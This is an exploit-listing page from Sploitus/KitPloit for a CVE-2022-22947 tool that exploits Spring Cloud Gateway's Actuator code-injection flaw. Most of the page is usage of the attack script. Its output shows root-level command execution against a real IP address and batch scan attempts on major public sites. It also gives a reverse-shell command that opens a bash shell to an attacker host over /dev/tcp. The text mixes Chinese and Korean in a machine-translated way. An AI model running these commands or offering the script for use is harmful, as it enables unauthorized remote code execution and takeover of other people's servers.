Sploitus

Exploit for CVE-2022-22947_EXP

kitploit · 2026-08-30

Exploit Code

MARKDOWN123 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ANANSEC-CVE-2022-22947_EXP
## 一、Spring Cloud Gateway 원격 코드 실행 취약점

危害等级：高危

POC/EXP情况：已公开

CNVD编号：CNNVD-2022-16402

​ CVE编号：CVE-2022-22947

## 二、影响范围：

  *     * VMWare Spring Cloud GateWay 3.1.0
    * VMWare Spring Cloud GateWay >=3.0.0，<=3.0.6
    * VMWare Spring Cloud GateWay <3.0.0



## 三、漏洞描述

Spring Cloud Gateway에는 원격 코드 실행 취약점이 존재합니다. 이 취약점은 Spring Cloud Gateway 애플리케이션의 Actuator 엔드포인트에서 발생하며, 활성화되어 있고 공개되었으며 안전하지 않은 경우 코드 주입 공격에 취약합니다. 공격자는 이 취약점을 악용하여 악의적인 요청을 생성함으로써 원격 호스트에서 임의의 원격 실행을 허용할 수 있습니다.

## 四、CVE-2022-22947 EXP 사용

### （一）스크립트 특징

1、단일 대상 검증 지원

2、일괄 취약점 검증 지원

3、리버스 셸 지원

### （二）스크립트 파라미터

root@kitploit:~
    
    
    -h    도움말 보기
    -u    url 대상 지정
    -c    실행할 명령 지정, 기본값은 id 실행
    -f    대상 url 파일 지정
    

### （三）스크립트 사용

**1.단일 대상 검증**

방식 1:

root@kitploit:~
    
    
    E:\pocs>python cve-2022-22947.py
    
        验证单个目标：
                1、python cve-2022-22947.py  进入交互模式后，根据提示输入目标url和需要执行的命令，注意命令的正确性
                2、python cve-2022-22947.py  -u http://example.com -c whoami
            验证多个目标
                1、python cve-2022-22947.py -f url.txt ，将需要验证的目标全部放在url目录下
            反弹shell
                1、python cve-2022-22947.py  -u http://example.com -c "bash -i >& /dev/tcp/ip/port 0>&1"
                2、进入交互模式，输入目标和反弹shell的命令
    
    请输入一个目标url地址：http://123.58.236.76:8484
    请输入想要执行的命令，默认执行id：whoami
    [+]目标：http://123.58.236.76:8484 ,成功获取回显命令：['root\\n']
    

방식 2:

root@kitploit:~
    
    
    E:\learn\python\pocs\pocs>python cve-2022-22947.py -u http://123.58.236.76:8484 -c whoami
    
        验证单个目标：
                1、python cve-2022-22947.py  进入交互模式后，根据提示输入目标url和需要执行的命令，注意命令的正确性
                2、python cve-2022-22947.py  -u http://example.com -c whoami
            验证多个目标
                1、python cve-2022-22947.py -f url.txt ，将需要验证的目标全部放在url目录下
            反弹shell
                1、python cve-2022-22947.py  -u http://example.com -c "bash -i >& /dev/tcp/ip/port 0>&1"
                2、进入交互模式，输入目标和反弹shell的命令
    
    [+]目标：http://123.58.236.76:8484 ,成功获取回显命令：['root\\n']
    

**2.일괄 검증**

root@kitploit:~
    
    
    E:\learn\python\pocs\pocs>python cve-2022-22947.py -f url.txt
    
        验证单个目标：
                1、python cve-2022-22947.py  进入交互模式后，根据提示输入目标url和需要执行的命令，注意命令的正确性
                2、python cve-2022-22947.py  -u http://example.com -c whoami
            验证多个目标
                1、python cve-2022-22947.py -f url.txt ，将需要验证的目标全部放在url目录下
            反弹shell
                1、python cve-2022-22947.py  -u http://example.com -c "bash -i >& /dev/tcp/ip/port 0>&1"
                2、进入交互模式，输入目标和反弹shell的命令
    
    [+]目标：http://123.58.236.76:8484 ,成功获取回显命令：['uid=0(root']
    [+]目标：http://123.58.236.76:8484 ,成功获取回显命令：['uid=0(root']
    [+]目标：http://123.58.236.76:8484 ,成功获取回显命令：['uid=0(root']
    [-]目标：http://www.baidu.com,漏洞验证失败，请手动验证!
    [-]目标：http://www.qq.com,漏洞验证失败，请手动验证!
    [+]目标：http://123.58.236.76:8484 ,成功获取回显命令：['uid=0(root']
    

**3.리버스 셸**

root@kitploit:~
    
    
    python cve-2022-22947.py -u http://123.58.236.76:8484 -c "bash -i >& /dev/tcp/xxx.xxx.xxx/65534 0>&1"
    

image-20220519233354807

image-20220519233429912